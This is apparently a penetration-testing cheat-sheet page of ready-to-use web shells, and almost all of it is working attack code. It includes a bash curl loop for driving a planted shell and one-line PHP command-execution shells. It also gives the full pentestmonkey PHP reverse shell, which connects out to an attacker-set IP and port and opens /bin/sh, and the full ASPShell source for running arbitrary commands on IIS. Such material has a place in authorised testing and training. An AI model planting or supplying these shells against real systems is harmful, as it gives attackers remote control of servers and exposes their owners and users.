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Web Shells

Simple bash script to handle basic webshell

#Save next onliner as cli.sh
while true;do read -p "[>] :~$ " cmd;curl $1$cmd;done
#Usage: ./cli.sh http://target.com/path/to/shell.php?0=

PHP - Basic

#Simple Webshell - system
<?php echo system($_GET["cmd"]); ?>
#Simple Webshell - passthru
<?php echo passthru($_GET['cmd']); ?>
#Tiny Webshell
<?=`$_GET[0]`?>

PHP - pentestmonkey php revshell

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS <-----
$port = 1234; // CHANGE THIS <-----
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

ASP.NET

<%@ Language = "JScript" %>
<%
/*
ASPShell - web based shell for Microsoft IIS
Copyright (C) 2007 Kurt Hanner
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
http://aspshell.sourceforge.net
*/
var version = "0.2 (beta) [2007-09-29]";
var homepagelink = "http://aspshell.sourceforge.net";
var q = Request("q")();
var cd = Request("cd")();
if (q)
{
var command = "";
var output = "";
if (q.length == 0)
{
q = ":";
}
command = "" + q;
if (command == "?")
{
output = " ? this help page\n" +
" :sv all server variables\n" +
" <shell command> execute any shell command\n";
}
else if (command.toLowerCase() == ":sv")
{
var sv = "";
var svvalue = "";
var esv = new Enumerator(Request.ServerVariables);
for (; !esv.atEnd(); esv.moveNext())
{
sv = esv.item();
output += sv;
output += ": ";
svvalue = "" + Request.ServerVariables(sv);
if (svvalue.indexOf("\n") >= 0)
{
output += "\n";
var svitems = svvalue.split("\n");
for (var i=0; i<svitems.length; i++)
{
if (svitems[i].length > 0)
{
output += " ";
output += svitems[i];
output += "\n";
}
}
}
else
{
output += svvalue;
output += "\n";
}
}
}
else if (command.toLowerCase() == ":cd")
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
output = fso.GetAbsolutePathName(".");
}
else if (/^:checkdir\s(.*)?$/i.test(command))
{
var newdirabs = "";
var newdir = RegExp.$1;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var cdnorm = fso.GetFolder(cd).Path;
if (/^\\/i.test(newdir))
{
newdirabs = fso.GetFolder(cd).Drive + newdir;
}
else if (/^\w:/i.test(newdir))
{
newdirabs = fso.GetAbsolutePathName(newdir);
}
else
{
newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\\" + newdir);
}
output = fso.FolderExists(newdirabs) ? newdirabs : "fail";
}
else
{
var changedir = "";
var currdrive = "";
var currpath = "";
var colonpos = cd.indexOf(":");
if (colonpos >= 0) {
currdrive = cd.substr(0, colonpos+1);
currpath = cd.substr(colonpos+1);
changedir = currdrive + " && cd \"" + currpath + "\" && ";
}
var shell = new ActiveXObject("WScript.Shell");
var pipe = shell.Exec("%comspec% /c \"" + changedir + command + "\"");
output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll();
}
Response.Write(output);
}
else
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var currentpath = fso.GetAbsolutePathName(".");
var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath));
var drivepath = currentdrive.Path;
%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<style><!--
body {
background: #000000;
color: #CCCCCC;
font-family: courier new;
font-size: 10pt
}
input {
background: #000000;
color: #CCCCCC;
border: none;
font-family: courier new;
font-size: 10pt;
}
--></style>
<script language="JavaScript"><!--
var history = new Array();
var historypos = 0;
var currentdirectory = "";
var checkdirectory = "";
function ajax(url, vars, callbackFunction)
{
var request = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("MSXML2.XMLHTTP.3.0");
request.open("POST", url, true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.onreadystatechange = function()
{
if (request.readyState == 4 && request.status == 200)
{
if (request.responseText)
{
callbackFunction(request.responseText);
}
}
}
request.send(vars);
}
function FormatOutput(txt)
{
return txt.replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/\x20/g, "&nbsp;").replace(/\t/g, "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;").replace(/\n/g, "<br/>");
}
function KeyDownEventHandler(ev)
{
document.all("q").focus();
if (!ev)
{
ev = window.event;
}
if (ev.which)
{
keycode = ev.which;
}
else if (ev.keyCode)
{
keycode = ev.keyCode;
}
if (keycode == 13)
{
var cmd = document.all("q").value;
outputAvailable("[" + currentdirectory + "] " + cmd);
if (/cd\s+(\"?)(.*)?\1\s*$/i.test(cmd))
{
checkdirectory = RegExp.$2;
ajax(document.URL, "q=" + encodeURIComponent(":checkdir " + RegExp.$2) + "&cd=" + encodeURIComponent(currentdirectory), checkdirAvailable);
history[history.length] = cmd;
historypos = history.length;
}
else if (cmd.length > 0)
{
ajax(document.URL, "q=" + encodeURIComponent(cmd) + "&cd=" + encodeURIComponent(currentdirectory), outputAvailable);
history[history.length] = cmd;
historypos = history.length;
}
}
else if (keycode == 38 && historypos > 0)
{
historypos--;
document.all("q").value = history[historypos];
}
else if (keycode == 40 && historypos < history.length)
{
historypos++;
if (historypos == history.length)
{
document.all("q").value = "";
}
else {
document.all("q").value = history[historypos];
}
}
}
function outputAvailable(output)
{
var newelem = document.createElement("DIV");
newelem.innerHTML = FormatOutput(output);
document.all("output").appendChild(newelem);
var oldYPos = 0, newYPos = 0;
var scroll = true;
do
{
if (document.all)
{
oldYPos = document.body.scrollTop;
}
else
{
oldYPos = window.pageYOffset;
}
window.scrollBy(0, 100);
if (document.all)
{
newYPos = document.body.scrollTop;
}
else
{
newYPos = window.pageYOffset;
}
} while (oldYPos < newYPos);
document.all("q").value = "";
}
function checkdirAvailable(output)
{
if (output.toLowerCase() == "fail")
{
outputAvailable("The system cannot find the path specified.");
}
else {
SetCurrentDirectory(output);
}
}
function SetCurrentDirectory(output)
{
currentdirectory = output;
document.all("prompt").innerHTML = "[" + output + "]";
}
function GetCurrentDirectory()
{
ajax(document.URL, "q=" + encodeURIComponent(":cd"), SetCurrentDirectory);
}
function InitPage()
{
document.all("q").focus();
document.onkeydown = KeyDownEventHandler;
GetCurrentDirectory();
}
//--></script>
<title id=titletext>Web Shell</title>
</head>
<body onload="InitPage()">
<div id="output">
<div id="greeting">
ASPShell - Web-based Shell Environment Version <%=version%><br/>
Copyright (c) 2007 Kurt Hanner, <a href="<%=homepagelink%>"><%=homepagelink%></a><br/><br/>
</div>
</div>
<label id="prompt">[undefined]</label>
<input type="text" name="q" maxlength=1024 size=72>
</body>
</html>
<%
}
%>